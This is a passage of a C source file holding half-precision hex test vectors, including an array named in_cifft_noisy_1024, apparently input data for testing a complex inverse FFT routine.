0x20d7, 0x0, 0x389d, 0x0, 0x3973, 0x0, 0x37b7, 0x0,
0xa751, 0x0, 0xb7a3, 0x0, 0xb906, 0x0, 0xb6c2, 0x0,
0x296b, 0x0, 0x3923, 0x0, 0x389a, 0x0, 0x3760, 0x0,
0x26fd, 0x0, 0xb827, 0x0, 0xb96e, 0x0, 0xb829, 0x0,
0xa81d, 0x0, 0x3774, 0x0, 0x3a0c, 0x0, 0x382c, 0x0,
0x2886, 0x0, 0xb864, 0x0, 0xb8a3, 0x0, 0xb71a, 0x0,
0x23a5, 0x0, 0x3843, 0x0, 0x397a, 0x0, 0x37f4, 0x0,
0xaca4, 0x0, 0xb744, 0x0, 0xb9b8, 0x0, 0xb819, 0x0,
0x2947, 0x0, 0x389a, 0x0, 0x3a18, 0x0, 0x3745, 0x0,
0xa7a0, 0x0, 0xb774, 0x0, 0xba01, 0x0, 0xb754, 0x0,
0x2490, 0x0, 0x385c, 0x0, 0x38c5, 0x0, 0x3776, 0x0,
0x294b, 0x0, 0xb7a8, 0x0, 0xba24, 0x0, 0xb838, 0x0,
0x2205, 0x0, 0x3806, 0x0, 0x3955, 0x0, 0x38cb, 0x0,
0x2860, 0x0, 0xb810, 0x0, 0xb9ae, 0x0, 0xb805, 0x0,
0x2aea, 0x0, 0x3855, 0x0, 0x3a33, 0x0, 0x37e1, 0x0,
0x2e84, 0x0, 0xb855, 0x0, 0xb975, 0x0, 0xb898, 0x0,
0xab29, 0x0, 0x3655, 0x0, 0x39b8, 0x0, 0x3772, 0x0,
0xa567, 0x0, 0xb6d9, 0x0, 0xb8e8, 0x0, 0xb657, 0x0,
0xad63, 0x0, 0x37b0, 0x0, 0x3977, 0x0, 0x379d, 0x0,
0xab00, 0x0, 0xb874, 0x0, 0xb93e, 0x0, 0xb830, 0x0,
0x29ef, 0x0, 0x386f, 0x0, 0x39c0, 0x0, 0x377d, 0x0,
0x2b2d, 0x0, 0xb7fe, 0x0, 0xb96a, 0x0, 0xb86a, 0x0,
0xa946, 0x0, 0x3816, 0x0, 0x38aa, 0x0, 0x3843, 0x0,
0x9d41, 0x0, 0xb743, 0x0, 0xb8f6, 0x0, 0xb745, 0x0,
0x2b41, 0x0, 0x377a, 0x0, 0x394c, 0x0, 0x36bf, 0x0,
0x2073, 0x0, 0xb857, 0x0, 0xb8f3, 0x0, 0xb6ac, 0x0,
0xa535, 0x0, 0x3891, 0x0, 0x3951, 0x0, 0x37ae, 0x0,
0x98ef, 0x0, 0xb7f1, 0x0, 0xb971, 0x0, 0xb799, 0x0,
0xace9, 0x0, 0x3846, 0x0, 0x39a8, 0x0, 0x389c, 0x0,
0x1ef2, 0x0, 0xb868, 0x0, 0xb98e, 0x0, 0xb825, 0x0,
0xad20, 0x0, 0x388e, 0x0, 0x38de, 0x0, 0x3885, 0x0,
0x2c93, 0x0, 0xb784, 0x0, 0xb9af, 0x0, 0xb787, 0x0,
0xa924, 0x0, 0x3712, 0x0, 0x39bf, 0x0, 0x3886, 0x0,
0xa73e, 0x0, 0xb85d, 0x0, 0xb9aa, 0x0, 0xb736, 0x0,
0xad29, 0x0, 0x383f, 0x0, 0x399e, 0x0, 0x375a, 0x0,
0xa9ba, 0x0, 0xb8f4, 0x0, 0xb9c3, 0x0, 0xb721, 0x0,
0x2128, 0x0, 0x365b, 0x0, 0x39e8, 0x0, 0x3810, 0x0,
0x2de7, 0x0, 0xb87f, 0x0, 0xb9bb, 0x0, 0xb7a2, 0x0,
0x29a4, 0x0, 0x3789, 0x0, 0x3969, 0x0, 0x3844, 0x0,
0xa8c3, 0x0, 0xb744, 0x0, 0xb9a7, 0x0, 0xb842, 0x0,
0x94e6, 0x0, 0x387d, 0x0, 0x3918, 0x0, 0x36c8, 0x0,
0xa7c2, 0x0, 0xb702, 0x0, 0xba46, 0x0, 0xb793, 0x0,
0xa9be, 0x0, 0x388f, 0x0, 0x39d0, 0x0, 0x382f, 0x0,
0xabbe, 0x0, 0xb733, 0x0, 0xb9e9, 0x0, 0xb810, 0x0,
0x21c3, 0x0, 0x38e0, 0x0, 0x397c, 0x0, 0x372c, 0x0,
0x2157, 0x0, 0xb781, 0x0, 0xb8e2, 0x0, 0xb67f, 0x0,
0xa28a, 0x0, 0x3832, 0x0, 0x39dc, 0x0, 0x36da, 0x0,
0x274a, 0x0, 0xb8af, 0x0, 0xb98e, 0x0, 0xb7eb, 0x0,
0x9cfa, 0x0, 0x37ba, 0x0, 0x391d, 0x0, 0x37a1, 0x0,
0xa556, 0x0, 0xb85b, 0x0, 0xb9b9, 0x0, 0xb7c8, 0x0,
0x29e3, 0x0, 0x38a9, 0x0, 0x39f9, 0x0, 0x3802, 0x0,
0xa93d, 0x0, 0xb7e2, 0x0, 0xb9dd, 0x0, 0xb8ed, 0x0,
0xaab6, 0x0, 0x3833, 0x0, 0x38cd, 0x0, 0x3736, 0x0,
0xa02f, 0x0, 0xb7b9, 0x0, 0xb9ff, 0x0, 0xb84c, 0x0,
0xb01d, 0x0, 0x37b6, 0x0, 0x39ca, 0x0, 0x3797, 0x0,
0x2351, 0x0, 0xb75e, 0x0, 0xb999, 0x0, 0xb7b9, 0x0,
0x2a59, 0x0, 0x383e, 0x0, 0x3a06, 0x0, 0x3853, 0x0,
0xad17, 0x0, 0xb77c, 0x0, 0xb8df, 0x0, 0xb721, 0x0,
0x2551, 0x0, 0x372a, 0x0, 0x395e, 0x0, 0x3870, 0x0,
0x2b05, 0x0, 0xb831, 0x0, 0xba2f, 0x0, 0xb76e, 0x0,
0xacda, 0x0, 0x3716, 0x0, 0x3978, 0x0, 0x381b, 0x0,
0xaa30, 0x0, 0xb786, 0x0, 0xba0f, 0x0, 0xb776, 0x0,
0x2b01, 0x0, 0x374d, 0x0, 0x3923, 0x0, 0x383d, 0x0,
0xa3ec, 0x0, 0xb76d, 0x0, 0xb9b0, 0x0, 0xb7cf, 0x0,
0x17bb, 0x0, 0x3710, 0x0, 0x3995, 0x0, 0x37ee, 0x0,
0x2c17, 0x0, 0xb6b6, 0x0, 0xb954, 0x0, 0xb6ef, 0x0,
0x20a6, 0x0, 0x38d5, 0x0, 0x39cc, 0x0, 0x3747, 0x0,
0xa746, 0x0, 0xb6f5, 0x0, 0xb9b2, 0x0, 0xb7fc, 0x0,
0x2d57, 0x0, 0x37ec, 0x0, 0x39d7, 0x0, 0x3790, 0x0,
0x27a4, 0x0, 0xb899, 0x0, 0xb9e0, 0x0, 0xb805, 0x0,
0xaa87, 0x0, 0x3820, 0x0, 0x392f, 0x0, 0x3841, 0x0,
0xa8e6, 0x0, 0xb802, 0x0, 0xb912, 0x0, 0xb809, 0x0,
0xa414, 0x0, 0x36f8, 0x0, 0x398d, 0x0, 0x3815, 0x0,
0x293c, 0x0, 0xb87b, 0x0, 0xb968, 0x0, 0xb7ce, 0x0,
0x1df3, 0x0, 0x37f0, 0x0, 0x3972, 0x0, 0x380c, 0x0,
0xaf25, 0x0, 0xb698, 0x0, 0xb902, 0x0, 0xb80a, 0x0,
0x2838, 0x0, 0x36d6, 0x0, 0x398e, 0x0, 0x389d, 0x0,
0xa94e, 0x0, 0xb6ca, 0x0, 0xb971, 0x0, 0xb850, 0x0,
0x2978, 0x0, 0x3775, 0x0, 0x39e7, 0x0, 0x388e, 0x0,
0xa7b2, 0x0, 0xb7c7, 0x0, 0xb9b0, 0x0, 0xb869, 0x0,
0xa82d, 0x0, 0x36d1, 0x0, 0x395e, 0x0, 0x3742, 0x0,
0x64a, 0x0, 0xb88d, 0x0, 0xb9f3, 0x0, 0xb872, 0x0,
0x2739, 0x0, 0x373a, 0x0, 0x3868, 0x0, 0x37d0, 0x0,
0x1eda, 0x0, 0xb7dc, 0x0, 0xb91f, 0x0, 0xb814, 0x0,
0x2bba, 0x0, 0x3763, 0x0, 0x3a02, 0x0, 0x382e, 0x0,
0xa983, 0x0, 0xb8b1, 0x0, 0xb95e, 0x0, 0xb875, 0x0,
0x2f8d, 0x0, 0x368c, 0x0, 0x3a27, 0x0, 0x3822, 0x0,
0xa980, 0x0, 0xb7f7, 0x0, 0xb8de, 0x0, 0xb72f, 0x0,
0xa88f, 0x0, 0x37dc, 0x0, 0x38db, 0x0, 0x3717, 0x0,
0xa82a, 0x0, 0xb801, 0x0, 0xb999, 0x0, 0xb773, 0x0,
0x2393, 0x0, 0x3878, 0x0, 0x3907, 0x0, 0x37a9, 0x0,
0x2049, 0x0, 0xb809, 0x0, 0xba5b, 0x0, 0xb806, 0x0,
0xa820, 0x0, 0x3710, 0x0, 0x3958, 0x0, 0x37e9, 0x0,
0xa7e7, 0x0, 0xb688, 0x0, 0xb9b7, 0x0, 0xb7a1, 0x0,
0x9ed0, 0x0, 0x381f, 0x0, 0x398b, 0x0, 0x381e, 0x0,
0xaaa5, 0x0, 0xb8f4, 0x0, 0xb99f, 0x0, 0xb7a2, 0x0,
0x2857, 0x0, 0x37a9, 0x0, 0x39a2, 0x0, 0x3719, 0x0,
0x9d72, 0x0, 0xb6b6, 0x0, 0xb9dd, 0x0, 0xb67b, 0x0,
0xaa4d, 0x0, 0x36f4, 0x0, 0x3945, 0x0, 0x374b, 0x0,
0xad13, 0x0, 0xb779, 0x0, 0xb921, 0x0, 0xb7bf, 0x0,
0x28f2, 0x0, 0x3706, 0x0, 0x398b, 0x0, 0x3958, 0x0,
0x2d16, 0x0, 0xb8c6, 0x0, 0xb9e6, 0x0, 0xb6a8, 0x0,
0xa877, 0x0, 0x37f7, 0x0, 0x39d1, 0x0, 0x389c, 0x0,
0xa9cf, 0x0, 0xb851, 0x0, 0xb870, 0x0, 0xb6e3, 0x0,
0xa472, 0x0, 0x3823, 0x0, 0x3998, 0x0, 0x3837, 0x0,
0xaa8c, 0x0, 0xb700, 0x0, 0xb9b1, 0x0, 0xb803, 0x0,
0x1e54, 0x0, 0x3721, 0x0, 0x3885, 0x0, 0x380c, 0x0,
0xada6, 0x0, 0xb7aa, 0x0, 0xba35, 0x0, 0xb87e, 0x0,
0xab6b, 0x0, 0x37b9, 0x0, 0x3949, 0x0, 0x38ba, 0x0,
0x28a8, 0x0, 0xb5d5, 0x0, 0xb9d7, 0x0, 0xb7aa, 0x0,
0xade9, 0x0, 0x3763, 0x0, 0x3a03, 0x0, 0x3815, 0x0,
0x2d18, 0x0, 0xb74b, 0x0, 0xb956, 0x0, 0xb809, 0x0,
0x9d46, 0x0, 0x3831, 0x0, 0x3927, 0x0, 0x3896, 0x0,
0x9561, 0x0, 0xb806, 0x0, 0xb8ff, 0x0, 0xb853, 0x0,
0xadf5, 0x0, 0x385a, 0x0, 0x3954, 0x0, 0x37b7, 0x0,
0xad11, 0x0, 0xb7c6, 0x0, 0xb9f9, 0x0, 0xb785, 0x0,
0xa961, 0x0, 0x35a4, 0x0, 0x397f, 0x0, 0x37c5, 0x0,
0x2742, 0x0, 0xb7a4, 0x0, 0xb93b, 0x0, 0xb87b, 0x0,
0x2b2f, 0x0, 0x3836, 0x0, 0x39ff, 0x0, 0x3826, 0x0,
0xafde, 0x0, 0xb7bc, 0x0, 0xb9ec, 0x0, 0xb6b2, 0x0,
0xa193, 0x0, 0x3765, 0x0, 0x39e5, 0x0, 0x37f0, 0x0,
0x2c95, 0x0, 0xb81e, 0x0, 0xb99a, 0x0, 0xb846, 0x0,
0x28b2, 0x0, 0x37ad, 0x0, 0x38c1, 0x0, 0x382f, 0x0,
0x243d, 0x0, 0xb8a8, 0x0, 0xb8c8, 0x0, 0xb879, 0x0,
0xa15d, 0x0, 0x382f, 0x0, 0x3abb, 0x0, 0x380c, 0x0,
0x2605, 0x0, 0xb6b5, 0x0, 0xb9a5, 0x0, 0xb686, 0x0,
0x9cd6, 0x0, 0x3732, 0x0, 0x3942, 0x0, 0x3820, 0x0,
0xa8ba, 0x0, 0xb819, 0x0, 0xba1a, 0x0, 0xb838, 0x0,
0x8b90, 0x0, 0x3773, 0x0, 0x3905, 0x0, 0x3893, 0x0,
0x9ea6, 0x0, 0xb827, 0x0, 0xba3d, 0x0, 0xb799, 0x0,
0x274a, 0x0, 0x381b, 0x0, 0x395e, 0x0, 0x3802, 0x0,
0x25d9, 0x0, 0xb780, 0x0, 0xb967, 0x0, 0xb824, 0x0,
0x2828, 0x0, 0x384e, 0x0, 0x3a08, 0x0, 0x3816, 0x0,
0xa1fa, 0x0, 0xb780, 0x0, 0xba37, 0x0, 0xb824, 0x0,
0x1c82, 0x0, 0x3876, 0x0, 0x395f, 0x0, 0x37ec, 0x0,
0x2cc5, 0x0, 0xb727, 0x0, 0xb9aa, 0x0, 0xb6fd, 0x0,
0x257f, 0x0, 0x38bf, 0x0, 0x397d, 0x0, 0x3791, 0x0,
0x9e7d, 0x0, 0xb6e3, 0x0, 0xb9f2, 0x0, 0xb7f3, 0x0,
0x1c76, 0x0, 0x3810, 0x0, 0x39d5, 0x0, 0x36f8, 0x0,
0xa80f, 0x0, 0xb73b, 0x0, 0xb97d, 0x0, 0xb87c, 0x0,
0xac6b, 0x0, 0x3816, 0x0, 0x39f9, 0x0, 0x36de, 0x0,
0xaab4, 0x0, 0xb8b5, 0x0, 0xb943, 0x0, 0xb64a, 0x0,
0x2719, 0x0, 0x383c, 0x0, 0x39a8, 0x0, 0x382d, 0x0,
0x282f, 0x0, 0xb803, 0x0, 0xb91f, 0x0, 0xb627, 0x0,
0x1858, 0x0, 0x3762, 0x0, 0x39ce, 0x0, 0x37d2, 0x0,
0x29df, 0x0, 0xb796, 0x0, 0xba21, 0x0, 0xb760, 0x0,
0x2a71, 0x0, 0x37fa, 0x0, 0x39fd, 0x0, 0x3814, 0x0,
0x9eae, 0x0, 0xb6e9, 0x0, 0xb9c8, 0x0, 0xb7a5, 0x0,
0x2b17, 0x0, 0x376d, 0x0, 0x39dd, 0x0, 0x36c8, 0x0,
0xa2ad, 0x0, 0xb6d1, 0x0, 0xba35, 0x0, 0xb852, 0x0,
0xab0a, 0x0, 0x382b, 0x0, 0x39ea, 0x0, 0x3882, 0x0,
0x2816, 0x0, 0xb6f9, 0x0, 0xb9b2, 0x0, 0xb6ee, 0x0,
0x2119, 0x0, 0x36a6, 0x0, 0x3a4b, 0x0, 0x36ce, 0x0,
0xa5a7, 0x0, 0xb816, 0x0, 0xb9d4, 0x0, 0xb863, 0x0,
0x2db4, 0x0, 0x384a, 0x0, 0x39ff, 0x0, 0x376f, 0x0,
0x9d5f, 0x0, 0xb743, 0x0, 0xb997, 0x0, 0xb685, 0x0,
0x2065, 0x0, 0x37ee, 0x0, 0x3a3c, 0x0, 0x381e, 0x0,
0x28a9, 0x0, 0xb80b, 0x0, 0xbaed, 0x0, 0xb81c, 0x0,
0x9e6e, 0x0, 0x3770, 0x0, 0x3932, 0x0, 0x3877, 0x0,
0x23ef, 0x0, 0xb5f1, 0x0, 0xb9b2, 0x0, 0xb74b, 0x0,
0x276a, 0x0, 0x3769, 0x0, 0x3a0b, 0x0, 0x3822, 0x0,
0xaf8d, 0x0, 0xb7c6, 0x0, 0xb91c, 0x0, 0xb86a, 0x0,
0xa87b, 0x0, 0x3732, 0x0, 0x3978, 0x0, 0x3606, 0x0,
0xb175, 0x0, 0xb821, 0x0, 0xb9e6, 0x0, 0xb81c, 0x0,
0xa712, 0x0, 0x380d, 0x0, 0x3923, 0x0, 0x3743, 0x0,
0xaab6, 0x0, 0xb76a, 0x0, 0xb990, 0x0, 0xb80a, 0x0,
0xaada, 0x0, 0x382b, 0x0, 0x39ac, 0x0, 0x3872, 0x0,
0x27f2, 0x0, 0xb73c, 0x0, 0xb987, 0x0, 0xb89c, 0x0,
0x2d6b, 0x0, 0x38ae, 0x0, 0x3938, 0x0, 0x389a, 0x0,
0xa821, 0x0, 0xb6cf, 0x0, 0xb9b3, 0x0, 0xb66c, 0x0,
0xa0c6, 0x0, 0x3780, 0x0, 0x3980, 0x0, 0x3856, 0x0,
0x16af, 0x0, 0xb768, 0x0, 0xb922, 0x0, 0xb7e4, 0x0,
0x2e48, 0x0, 0x38b3, 0x0, 0x3919, 0x0, 0x3809, 0x0,
0xab93, 0x0, 0xb848, 0x0, 0xb978, 0x0, 0xb744, 0x0,
0xaced, 0x0, 0x371e, 0x0, 0x398d, 0x0, 0x384b, 0x0,
0xa3cc, 0x0, 0xb7c2, 0x0, 0xb94f, 0x0, 0xb845, 0x0,
0x2cc2, 0x0, 0x38c1, 0x0, 0x3945, 0x0, 0x380c, 0x0,
0xa826, 0x0, 0xb6f2, 0x0, 0xb92e, 0x0, 0xb72f, 0x0,
0x2d18, 0x0, 0x36e0, 0x0, 0x3971, 0x0, 0x3809, 0x0,
0xae64, 0x0, 0xb856, 0x0, 0xb9d1, 0x0, 0xb80d, 0x0,
0x2c5f, 0x0, 0x3892, 0x0, 0x398d, 0x0, 0x3853, 0x0,
0xac42, 0x0, 0xb82d, 0x0, 0xb924, 0x0, 0xb735, 0x0,
0xab19, 0x0, 0x379a, 0x0, 0x39db, 0x0, 0x37f2, 0x0,
0xa3d9, 0x0, 0xb82a, 0x0, 0xb97d, 0x0, 0xb7fb, 0x0,
0x1f12, 0x0, 0x3748, 0x0, 0x3a48, 0x0, 0x37c8, 0x0,
0xa893, 0x0, 0xb789, 0x0, 0xb954, 0x0, 0xb81c, 0x0,
0x24cd, 0x0, 0x37d8, 0x0, 0x3955, 0x0, 0x373f, 0x0,
0xab1e, 0x0, 0xb7ef, 0x0, 0xb886, 0x0, 0xb808, 0x0,
0xa3eb, 0x0, 0x37a1, 0x0, 0x3962, 0x0, 0x3853, 0x0,
0x21c4, 0x0, 0xb87e, 0x0, 0xb985, 0x0, 0xb70c, 0x0
};
static const uint16_t in_cifft_noisy_1024[2048] = {
0x3d95, 0x0, 0x3e9d, 0xb74e, 0xbc06, 0x3ab1, 0xb931, 0x299f,
0x3a1e, 0xb555, 0x2f1a, 0x3950, 0x3f8d, 0x3885, 0xb657, 0x389f,
0xbc2d, 0xbdbf, 0xbe5a, 0x39f7, 0xbafa, 0xae0c, 0x3942, 0xb7ab,
0x3c4d, 0xbfb7, 0xb7f5, 0xa4dc, 0x3e3f, 0xb37d, 0x3595, 0x35aa,
0xad20, 0x3d21, 0xba55, 0x3265, 0xb913, 0x4120, 0x2c3e, 0x38f1,
0x36f7, 0x33e4, 0x3173, 0xb79d, 0x3d91, 0xc286, 0x43f4, 0xb64e,
0xb91d, 0xaea4, 0x3ba7, 0x3504, 0xbd0a, 0xbe85, 0x3a15, 0x3c57,
0xc213, 0x3a19, 0x3e1b, 0x3d65, 0xbaf2, 0x3cf6, 0xa386, 0xc013,
0x3e13, 0xc1b3, 0x2cba, 0xae79, 0xb98a, 0xb975, 0x3fb6, 0xb84a,
0xb973, 0xb840, 0xbe44, 0x3d13, 0xbc2a, 0xba05, 0x40ec, 0x3e99,
0xb691, 0xb6d2, 0xba93, 0x38cc, 0x3e80, 0xbd23, 0x3692, 0xb848,
0x3f08, 0x4095, 0xbab7, 0x33dc, 0xb52f, 0x380a, 0xbdb3, 0xbb35,
0x39c8, 0x3be9, 0xbf59, 0xbb62, 0xba1c, 0xbeb5, 0xa6fe, 0xbbb0,
0x3a14, 0x3b29, 0x3fa3, 0x3398, 0x400d, 0x391d, 0x3ac9, 0xbd80,
0xbe82, 0xbb0d, 0x33de, 0xb237, 0x3534, 0xbd28, 0x3631, 0xba1b,
0x3f0d, 0x3c87, 0xb802, 0x420b, 0xb9f1, 0xa924, 0xbd9c, 0x3afd,
0x3024, 0x3919, 0xbbf7, 0xbf6b, 0x3985, 0xbd6e, 0x2312, 0x3cbc,
0xba5b, 0x3994, 0xbc62, 0xbec8, 0xb9f3, 0x3ca5, 0x3acc, 0xb51a,
0x3a11, 0x3c19, 0xbdd8, 0xb38d, 0x3c57, 0xbea1, 0x3501, 0x3a46,
0xbc4f, 0x32b1, 0x35be, 0xb590, 0xb482, 0xb1d3, 0x3a90, 0xb79b,
0x40c0, 0xb9ce, 0xc0d2, 0xbe51, 0x3fca, 0xb4ab, 0x36c6, 0xb7a7,
0xba57, 0xc200, 0x3415, 0x3e04, 0x3a96, 0x3e2b, 0xba97, 0xb911,
0xb49a, 0x3435, 0x3509, 0x351c, 0xb80b, 0xbcf1, 0xbe14, 0x36a9,
0x404d, 0x3d1b, 0xbd34, 0xb4ce, 0x2e0a, 0x3894, 0x3b1f, 0xbe0d,
0xc2a5, 0xc107, 0x3be6, 0xb750, 0x3892, 0xc048, 0x3d5a, 0xbc83,
0x28eb, 0xab95, 0x3b9a, 0x2fbe, 0xc0de, 0x38e7, 0x393b, 0x3c18,
0xb803, 0xb6ed, 0xb45c, 0xba8c, 0xb123, 0xbc79, 0x39c6, 0x3cd0,
0x3d41, 0x3e03, 0xb705, 0x3201, 0x3bbb, 0x3c0c, 0x3c86, 0x3a95,
0xb8ae, 0x2ff1, 0xb803, 0x2cfb, 0x36e2, 0x3cc7, 0xbe25, 0xba2b,
0x2131, 0x3f9c, 0x4084, 0xb9a8, 0xbd62, 0x3464, 0xc00b, 0x3150,
0x3be2, 0x3df8, 0x3ed6, 0xb23d, 0x340b, 0xc005, 0x3fd8, 0xbc6c,
0xb4c4, 0xbbb5, 0x311c, 0xb4c8, 0xb332, 0xb6fa, 0x3b6c, 0x30d8,
0x3daa, 0xdd97, 0x3339, 0xbee8, 0x2e9b, 0x3c24, 0xc047, 0x4142,
0x31a7, 0x3a3b, 0x3cbc, 0x2880, 0xba22, 0x407d, 0xb697, 0xb8db,
0xb635, 0x3142, 0x333b, 0x3d45, 0x387e, 0xafc7, 0x3acd, 0x3fee,
0x3a01, 0xb5f8, 0xbe98, 0xbd38, 0xb84d, 0xb950, 0x3e25, 0x35b9,
0xb436, 0x2915, 0x3bf8, 0xbaec, 0xb53b, 0xb629, 0xbd78, 0xb8e3,
0xb997, 0x39d3, 0xb54a, 0xb808, 0xb3d2, 0x4047, 0x399e, 0x3555,
0x3bed, 0xbc7c, 0xaa41, 0xb788, 0xbb7e, 0xc00d, 0x3c04, 0x3995,
0x3c58, 0x3d61, 0xabbf, 0xbc30, 0x3d18, 0x30b3, 0xbdf3, 0xae3e,
0xc0c0, 0xbf01, 0xba2f, 0x3e66, 0xbd1a, 0x3e2a, 0x3e9f, 0xbedd,
0x3cea, 0xbaf6, 0x3b3a, 0xb51e, 0x3d6e, 0xbc2d, 0xbde8, 0xb911,
0xb4fe, 0xbd27, 0xbc43, 0xbb00, 0x2f17, 0xbf39, 0xc05f, 0x31eb,
0x39fd, 0x2882, 0xc0e0, 0x38f8, 0xbb6b, 0xc1d7, 0xb7fe, 0xb8a0,
0x311f, 0x3f25, 0xb84f, 0x373b, 0x39ba, 0x4030, 0x3941, 0xbb7f,
0x31d6, 0x339d, 0x3786, 0xb13d, 0x3f62, 0xbfc0, 0xadb4, 0xbd7a,
0x3c3e, 0xb5a7, 0xaf7a, 0xc12d, 0x3bfb, 0xb844, 0xadbf, 0x1eb8,
0x3810, 0x4401, 0x3d97, 0x3a1a, 0x3d74, 0x38b3, 0xbcfb, 0x3119,
0x3c57, 0xb468, 0x3992, 0x3c01, 0xbfdd, 0xb298, 0xb9f0, 0x3022,
0x3a0f, 0xba1a, 0x3cb4, 0xb796, 0xb995, 0xc189, 0x3cb7, 0xc118,
0x1fa8, 0xc0f7, 0x2506, 0x2f93, 0xba6e, 0x40b4, 0x3b0a, 0xbbc7,
0x3777, 0x3c84, 0xb8d1, 0x3164, 0x38a9, 0xc029, 0x4092, 0xb832,
0xbc0d, 0x39f6, 0xb758, 0xabcb, 0xb838, 0x3976, 0x3001, 0x3ca9,
0xbaf7, 0xbcbd, 0xb950, 0x38d8, 0x3e44, 0xae48, 0x3a18, 0xb53a,
0xb680, 0x3b8a, 0xb1f1, 0xb2b9, 0x3890, 0x39c1, 0xb9ab, 0x3cdc,
0xbe59, 0xb570, 0xae1f, 0x2200, 0x353a, 0xb843, 0x3c2e, 0x3fb4,
0xb87c, 0x3e4b, 0xb8c0, 0xb949, 0x344b, 0x3b67, 0x3c30, 0xb6e6,
0xbc3d, 0x3844, 0xbeab, 0x3e1f, 0xb141, 0xb809, 0xb9b0, 0x3cca,
0x4172, 0xb969, 0x34c8, 0x3993, 0x3fe7, 0x3bfa, 0xbc46, 0x3cc3,
0x393c, 0x3486, 0xbdb1, 0xc472, 0x3bfd, 0x3dd6, 0x391b, 0x37ca,
0xabaf, 0x2593, 0xbd13, 0xb6c0, 0xbd6a, 0x31e6, 0x2f36, 0x3c97,
0x420f, 0x4225, 0xbff5, 0x3919, 0x3aea, 0xb958, 0xaed7, 0xbd9c,
0x3926, 0x3f35, 0x3c78, 0xb51a, 0xbc12, 0xb94e, 0x341a, 0xb46d,
0xb620, 0xb889, 0xbe00, 0x3c96, 0xc178, 0x36bb, 0xb964, 0xb3b0,
0xbd8f, 0x3d45, 0xbc2d, 0xb406, 0x39f0, 0x36d3, 0xbcea, 0x3aae,
0xbbe3, 0xbc8a, 0xbce7, 0x3cb5, 0xb071, 0x404f, 0xbb4d, 0xb3b8,
0x3908, 0x3cc1, 0xb60c, 0xb1d5, 0x37de, 0xbb36, 0x3a65, 0xbd86,
0xbdd8, 0xba88, 0x396d, 0xb5fd, 0x3d05, 0xb4fc, 0xb575, 0x3caa,
0x3fa0, 0x3a32, 0x3b64, 0x34db, 0xc055, 0xbaa3, 0x3bc0, 0xb992,
0xb56c, 0xac4b, 0x3c36, 0xc0c2, 0x346e, 0xacb6, 0x4027, 0xbd66,
0xbd34, 0xb690, 0xb66c, 0x4036, 0x40ec, 0x41b7, 0xbc63, 0xbb99,
0xbc32, 0xbc5b, 0xb9f8, 0x3e31, 0xbd7f, 0xb5a8, 0xb208, 0xaf30,
0x3620, 0x402d, 0x34a9, 0xb50a, 0x3dcd, 0x3cd9, 0xc0d3, 0xb468,
0xbc0a, 0xbad8, 0x3c20, 0xb154, 0x373d, 0xb024, 0xbccc, 0x3304,
0x3e52, 0x2c32, 0x3b62, 0xba61, 0xbaa5, 0xb8ca, 0xb8d8, 0x372c,
0xbc0c, 0x39e6, 0x394e, 0xb890, 0x387a, 0xb83b, 0xbd97, 0x3857,
0xbae4, 0xbe08, 0xb824, 0x410e, 0x3432, 0x3a96, 0xbb39, 0xba88,
0xa537, 0x3860, 0xc030, 0x3dda, 0xbec8, 0x2874, 0x3498, 0x3c80,
0x2875, 0xc002, 0x3bc2, 0x386b, 0x402e, 0xb446, 0x40a2, 0xb08b,
0x3ad4, 0xb7bf, 0xbec1, 0xa53b, 0xc01c, 0x4144, 0x3aaa, 0x38d1,
0x3621, 0x3bbf, 0xb499, 0x3e0e, 0xb5ab, 0x3d63, 0x3994, 0x39d6,
0x3953, 0xbdb9, 0x3de2, 0xbeba, 0xbeea, 0xc048, 0xbcdd, 0xbf1d,
0x3ce9, 0xb81c, 0xb8bf, 0x400f, 0x3c5f, 0xbdf2, 0xb970, 0xbaa0,
0x3995, 0x3c79, 0xc047, 0xb1f3, 0x2f2a, 0x301f, 0x3c12, 0x36e1,
0xb467, 0x3c52, 0xc000, 0x401c, 0x3a33, 0xb8e8, 0x3bec, 0x3c7a,
0x3942, 0x3d3e, 0xb823, 0xc00c, 0x3ec7, 0x399f, 0xc066, 0x31c2,
0x3d00, 0x4057, 0xbbc4, 0x3ce3, 0xbed0, 0x3823, 0x341f, 0xbcea,
0x3ae7, 0x3f03, 0xb383, 0xbbfb, 0xa63e, 0xa9f0, 0xbeb1, 0x21ff,
0xb972, 0xa9af, 0xbc77, 0x3778, 0xb601, 0xbd75, 0x38a3, 0xb532,
0xbc4c, 0xb874, 0xb4db, 0xbe60, 0xbb54, 0xc193, 0x3944, 0x3b0f,
0x3374, 0x3cda, 0xba76, 0xbebc, 0xbc2e, 0xb8e4, 0xbd09, 0x353d,
0x39de, 0x347c, 0x3bbc, 0xbc64, 0x2c39, 0xb564, 0x2520, 0xb0fe,
0xb8bc, 0x2f18, 0xb856, 0xb5ff, 0x3647, 0xba82, 0xbd42, 0x3664,
0x3dec, 0xbd6e, 0xb9ac, 0xbcfb, 0xbe07, 0xbdbd, 0x36f9, 0xbd7f,
0xbd2b, 0x3b7a, 0x3797, 0x3e15, 0xb9cd, 0x3d0f, 0xc2b2, 0xbdcf,
0xbf69, 0xbb12, 0xbe7e, 0xc363, 0x3df0, 0x3d7d, 0x406e, 0xbbaa,
0x3e15, 0xbdd2, 0xbb47, 0x412a, 0x24d7, 0xbf9f, 0xb9d5, 0xb5c2,
0x2f2d, 0x326d, 0x3919, 0x3dec, 0xb886, 0x3b72, 0x3839, 0x3a08,
0xbb03, 0x3e50, 0xbc84, 0x30f3, 0x38f0, 0x3ea6, 0xbab1, 0xbda6,
0x3ba1, 0x3cc0, 0x3ebd, 0xbb7e, 0x3465, 0xb999, 0xbdaf, 0xc0fe,
0xbcec, 0x3716, 0x332b, 0xb6f8, 0x3f45, 0xbc39, 0xbc77, 0xb482,
0xbb50, 0xbc40, 0xb9f2, 0x2984, 0xab84, 0xb1b3, 0xc008, 0x38b1,
0x3c98, 0xb8fb, 0x3b66, 0x41fd, 0xa81d, 0x3045, 0x3ba2, 0xbccf,
0x34a9, 0x3e29, 0xb211, 0xba29, 0xc196, 0x3824, 0x384b, 0x3dc9,
0x3928, 0x378b, 0xbe68, 0xbfda, 0x3a2d, 0xbcd2, 0x2d4b, 0x3965,
0x2f47, 0x396d, 0x381a, 0x3e0c, 0xb0c1, 0xb30e, 0x3d26, 0x3cea,
0x3bb6, 0x383a, 0x39f6, 0xb241, 0xb37b, 0xbe22, 0xba48, 0xba9d,
0x3a16, 0x3f1a, 0x36d3, 0x3b9d, 0x3eac, 0xbf0a, 0xb28e, 0xb5a1,
0xb697, 0x3d86, 0x3a2d, 0xb135, 0x3d49, 0xbd27, 0xbc52, 0xb1b2,
